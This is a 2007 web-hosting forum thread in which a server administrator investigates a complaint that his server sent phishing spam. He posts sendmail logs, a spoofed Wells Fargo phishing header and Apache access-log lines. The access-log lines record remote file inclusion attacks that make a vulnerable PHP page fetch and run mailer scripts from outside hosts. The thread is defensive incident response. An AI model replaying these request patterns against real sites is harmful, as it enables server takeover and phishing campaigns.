The Planet Forums > Origin of Phising Abuse Investigation

Full Version: Origin of Phising Abuse Investigation

The Planet Forums > System Administration > Mail Hosting

Danny Tran

Mar 13 2007, 09:24 PM

Hi .. I recently received an email from The Planet stating that my server was the origin of a Phishing Abuse email spam. I've temporarily stopped my sendmail service and am currently going through the log files. My server is on a linux machine using Ensim Pro 4.0.3-22.rhel.3ES to administrate the server.

Here are a couple of things I've found.

from /var/log/maillog

Mar 13 20:14:43 ensim sendmail[6259]: l2CICs3l018565: to=<crisscross9031@yahoo.com>, ctladdr=<apache@ensim.ev1servers.net> (48/48), delay=1+08:01:49, xdelay=00:00:01, mailer=esmtp, pri=124675, relay=d.mx.mail.yahoo.com. [216.39.53.2], dsn=5.0.0, stat=Service unavailable
Mar 13 20:14:43 ensim sendmail[6259]: l2CICs3l018565: l2E24iNi006259: DSN: Service unavailable
Mar 13 20:14:43 ensim sendmail[6259]: l2E24iNi006259: to=root, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30000, dsn=2.0.0, stat=Sent
Mar 13 20:14:43 ensim sendmail[6259]: l2CIBLnU015630: to=<angelheart04967@yahoo.com>, ctladdr=<apache@ensim.ev1servers.net> (48/48), delay=1+08:03:22, xdelay=00:00:00, mailer=esmtp, pri=124676, relay=c.mx.mail.yahoo.com., dsn=4.0.0, stat=Deferred: 451 Message temporarily deferred - [170]
Mar 13 20:14:43 ensim sendmail[6259]: l2CIBLnU015630: l2E24iNj006259: sender notify: Warning: could not send message for past 4 hours
Mar 13 20:14:43 ensim sendmail[6259]: l2E24iNj006259: to=root, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30000, dsn=2.0.0, stat=Sent
Mar 13 20:14:47 ensim sendmail[6259]: l2CIBKQ1015607: to=<angelhayes12345@yahoo.com>, ctladdr=<apache@ensim.ev1servers.net> (48/48), delay=1+08:03:27, xdelay=00:00:04, mailer=esmtp, pri=124676, relay=c.mx.mail.yahoo.com., dsn=4.0.0, stat=Deferred: 451 Message temporarily deferred - [70]
Mar 13 20:14:47 ensim sendmail[6259]: l2CIBKQ1015607: l2E24iNk006259: sender notify: Warning: could not send message for past 4 hours
Mar 13 20:14:47 ensim sendmail[6259]: l2E24iNk006259: to=root, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30000, dsn=2.0.0, stat=Sent
Mar 13 20:14:48 ensim sendmail[6259]: l2CIBf3I016268: to=<angelkisses99_us@yahoo.com>, ctladdr=<apache@ensim.ev1servers.net> (48/48), delay=1+08:03:06, xdelay=00:00:01, mailer=esmtp, pri=124677, relay=c.mx.mail.yahoo.com., dsn=4.0.0, stat=Deferred: 451 Message temporarily deferred - [70]
Mar 13 20:14:48 ensim sendmail[6259]: l2CIBf3I016268: l2E24iNl006259: sender notify: Warning: could not send message for past 4 hours
Mar 13 20:14:48 ensim sendmail[6259]: l2E24iNl006259: to=root, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30000, dsn=2.0.0, stat=Sent
Mar 13 20:14:48 ensim sendmail[6259]: l2CIB8cJ015258: to=<angeleyeslibra_85@yahoo.com>, ctladdr=<apache@ensim.ev1servers.net> (48/48), delay=1+08:03:40, xdelay=00:00:00, mailer=esmtp, pri=124678, relay=g.mx.mail.yahoo.com., dsn=4.0.0, stat=Deferred: 451 Message temporarily deferred - [70]
Mar 13 20:14:48 ensim sendmail[6259]: l2CIB8cJ015258: l2E24iNm006259: sender notify: Warning: could not send message for past 4 hours
Mar 13 20:14:48 ensim sendmail[6259]: l2E24iNm006259: to=root, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30000, dsn=2.0.0, stat=Sent

Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<jah@creativepeopleskills.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<sue.patton@cstratinc.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<jobs@devries-pr.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<dkaufman@fischerhealth.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<hoggs@fleishman.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<careers@gymr.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<Heidi.Crane@hassmsl.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<msilveremail@msilver-pr.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<barry@peterbellassociates.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<joyce.fratturo@piercepromotions.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<bayareacareers@porternovelli.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<hr@rfbinder.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<noha.sahyoun@rlpublicrelations.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<duane@tcpr.net>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sm-acceptingconnections[7752]: l2E2ws3D007752: to=<lauren@teamworksmedia.com>, delay=00:00:01, mailer=esmtp, pri=811714, stat=queued
Mar 13 20:58:56 ensim sendmail[7750]: l2E2wpa2007750: to=wkrampf@coneinc.com,hr@coneinc.com,jessica@amies.com.,careers@alantaylor.com.
,hoggs@fleishman.com,careers@gymr.com,jobs@devries-pr.com,duane@tcpr.net,dkaufman@fischerhealth.com,careers@cmgrp.cpm,DRenella@cmgr
p.com,careers@cmgrp.com,hr@rfbinder.com,lauren@teamworksmedia.com,msilveremail@ms
ilver-pr.com,jennifer.logullo@corecubed.com.,sue.patton@cstratinc.com,dgabriel@cisny.c
om,jah@creativepeopleskills.com,Kathy@adrecruiters.com,noha.sahyoun@rlpublicrelat
ions.com,lspackman@bremerpr.com,barry@peterbellassociates.com,jobs@berkmanpr.com.
,joyce.fratturo@piercepromotions.com,Heidi.Crane@hassmsl.com,bayareacareers@porte
rnovelli.com, ctladdr=apache (48/48), delay=00:00:05, xdelay=00:00:02, mailer=relay, pri=811356, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (l2E2ws3D007752 Message accepted for delivery)
Mar 13 20:58:56 ensim sendmail[7755]: l2E2wug7007755: from=apache, size=657, class=0, nrcpts=1, msgid=<200703140258.l2E2wug7007755@ensim.ev1servers.net>, relay=apache@localhost
Mar 13 20:58:56 ensim sm-acceptingconnections[7757]: l2E2wuNA007757: from=<apache@ensim.ev1servers.net>, size=892, class=0, nrcpts=1, msgid=<200703140258.l2E2wug7007755@ensim.ev1servers.net>, proto=ESMTP, daemon=MTA, relay=localhost.localdomain [127.0.0.1]
Mar 13 20:58:56 ensim sm-acceptingconnections[7757]: l2E2wuNA007757: to=<camaraloans@yahoo.com>, delay=00:00:00, mailer=esmtp, pri=30892, stat=queued
Mar 13 20:58:56 ensim sendmail[7755]: l2E2wug7007755: to=camaraloans@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30657, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (l2E2wuNA007757 Message accepted for delivery)
Mar 13 20:59:11 ensim sm-acceptingconnections[7758]: l2E2x9GI007758: from=<qktn@hetnet.nl>, size=18180, class=0, nrcpts=1, msgid=<45F762BF.5070104@hetnet.nl>, proto=SMTP, daemon=MTA, relay=[210.221.220.11]
Mar 13 20:59:11 ensim sm-acceptingconnections[7758]: l2E2x9GI007758: to=<petgord34truew@funnyclipcentral.com>, delay=00:00:01, mailer=virthostmail, pri=48180, stat=queued
Mar 13 21:00:12 ensim sm-acceptingconnections[7764]: l2E2xw3u007764: from=<gwfp@yam.com>, size=30399, class=0, nrcpts=1, msgid=<000d01c765e3$7bf3b820$badd5d7d@ylu>, proto=SMTP, daemon=MTA, relay=20129031077.user.veloxzone.com.br [201.29.31.77] (may be forged)
Mar 13 21:00:12 ensim sm-acceptingconnections[7764]: l2E2xw3u007764: to=<petgord34truew@findadonor.com>, delay=00:00:10, mailer=virthostmail, pri=60399, stat=queued

from /var/spool/mail/root

--l2E24iNm006259.1173838488/ensim.ev1servers.net

**********************************************
** THIS IS A WARNING MESSAGE ONLY **
** YOU DO NOT NEED TO RESEND YOUR MESSAGE **
**********************************************

The original message was received at Mon, 12 Mar 2007 12:11:08 -0600
from localhost.localdomain [127.0.0.1]

----- Transcript of session follows -----
... while talking to d.mx.mail.yahoo.com.:
>>> DATA
<<< 451 Message temporarily deferred - [70]
<angeleyeslibra_85@yahoo.com>... Deferred: 451 Message temporarily deferred - [70]
Warning: message still undelivered after 4 hours
Will keep trying until message is 5 days old

--l2E24iNm006259.1173838488/ensim.ev1servers.net
Content-Type: message/delivery-status

Reporting-MTA: dns; ensim.ev1servers.net
Arrival-Date: Mon, 12 Mar 2007 12:11:08 -0600

Final-Recipient: RFC822; angeleyeslibra_85@yahoo.com
Action: delayed
Status: 4.2.0
Remote-MTA: DNS; g.mx.mail.yahoo.com
Last-Attempt-Date: Tue, 13 Mar 2007 20:14:48 -0600
Will-Retry-Until: Sat, 17 Mar 2007 12:11:08 -0600

--l2E24iNm006259.1173838488/ensim.ev1servers.net
Content-Type: text/rfc822-headers
Content-Transfer-Encoding: 8bit

X-ClientAddr: 127.0.0.1
Return-Path: <apache@ensim.ev1servers.net>
Received: from ensim.ev1servers.net (localhost.localdomain [127.0.0.1])
by ensim.ev1servers.net (8.12.11/8.12.11) with ESMTP id l2CIB8cJ015258
for <angeleyeslibra_85@yahoo.com>; Mon, 12 Mar 2007 12:11:08 -0600
Received: (from apache@localhost)
by ensim.ev1servers.net (8.12.11/8.12.11/Submit) id l2CIB845015248;
Mon, 12 Mar 2007 12:11:08 -0600
Date: Mon, 12 Mar 2007 12:11:08 -0600
Message-Id: <200703121811.l2CIB845015248@ensim.ev1servers.net>
To: angeleyeslibra_85@yahoo.com
Subject: Security.Alert(Upgrade Your Online Banking Information
From: WellsFargo® Online Banking® <customerservice@wellsfargo.com>
Reply-To:
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: 8bit
X-MediaRail-MailScanner-Information: Please contact the ISP for more information
X-MediaRail-MailScanner: Found to be clean
X-MailScanner-From: apache@ensim.ev1servers.net

--l2E24iNm006259.1173838488/ensim.ev1servers.net--

Are there any other log files I can check to try and find how exactly sending all these mail requests? Any suggestions on how to block these emails?

James Jhurani

Mar 14 2007, 12:05 AM

QUOTE (Danny Tran @ Mar 13 2007, 09:24 PM)

Looking at the mail headers:
Received: from ensim.ev1servers.net (localhost.localdomain [127.0.0.1])

The mail is getting to your smtp server via localhost. This either means that one of your sites has a form mail script somewhere. Alternately it is possible one of your sites was exploited, the attacker would then upload and execute some spam scripts.

Basically search through your users site info for perl scripts or anything that doesnt look like it belongs. Unfortunately I can't think of anything else to recommend to make this easier on you.

good luck.
-James

Danny Tran

Mar 14 2007, 06:04 AM

James,

Thanks for the suggestions. After over 24 hours of constant investigation ... I finally found the culprit.

A few sites were exploiting a poorly written php file on one of my clients websites. I followed The Planet's suggestion and created a script to take the place of sendmail that would put into a file called formmail.log all sendmail activity. It showed the directory location of the php script that was invoking sendmail. I then checked my /var/log/httpd/access_log file and grep'd for the approxamite time of that the php script invoked sendmail. Lo and behold ... the exploit shows itself. After I knew which file they were exploiting, I grep'd /var/log/httpd/access_log for that filename. Here's what I got. Is there anyway to report these sites?
41.204.224.10 - - [11/Mar/2007:11:39:47 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25152 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:11:45:54 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22033 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:11:56:34 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21030 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:12:05:16 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21223 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:12:12:59 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19107 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:12:20:36 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 16946 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:12:28:29 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20797 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [11/Mar/2007:12:36:05 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20900 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
193.93.96.188 - - [11/Mar/2007:13:47:34 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 11764 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:13:49:05 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 11860 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:13:50:08 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 11874 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:13:51:10 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 11777 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:13:52:10 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 30433 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:13:54:45 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 85395 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:02:43 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 69050 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:07:38 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 49497 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:14:50 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 66182 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:32:13 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 76845 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:41:31 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 53725 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:47:11 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 100124 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:14:55:15 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 51002 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:15:31:45 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 12936 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:15:34:21 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 61520 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:16:46:20 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 65146 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:16:50:45 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 58693 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:16:57:45 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 60011 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
193.93.96.188 - - [11/Mar/2007:17:04:47 -0600] "POST /main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt? HTTP/1.1" 200 141379 "http://www.mydomain.com/main.php?c=http://www.geocities.com/just_feel_my_joy4ever/emaiL.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54"
41.204.224.10 - - [12/Mar/2007:01:37:38 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17270 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:01:40:47 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17305 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:01:41:50 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17308 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:01:42:46 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17365 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:01:44:01 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 15112 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:01:57:08 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25495 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:02:05:51 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21354 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:02:09:53 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 15842 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:02:16:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21072 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:02:23:57 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21307 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:02:25:23 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21337 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:02:26:56 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17682 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:03:00:32 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 18991 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.199.198.186 - - [12/Mar/2007:03:03:23 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19047 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:04:55:14 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 11767 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:04:57:45 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 28366 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:04:58:37 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 34544 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:01:00 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 42526 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:06:18 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 31956 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [12/Mar/2007:05:32:20 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25029 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
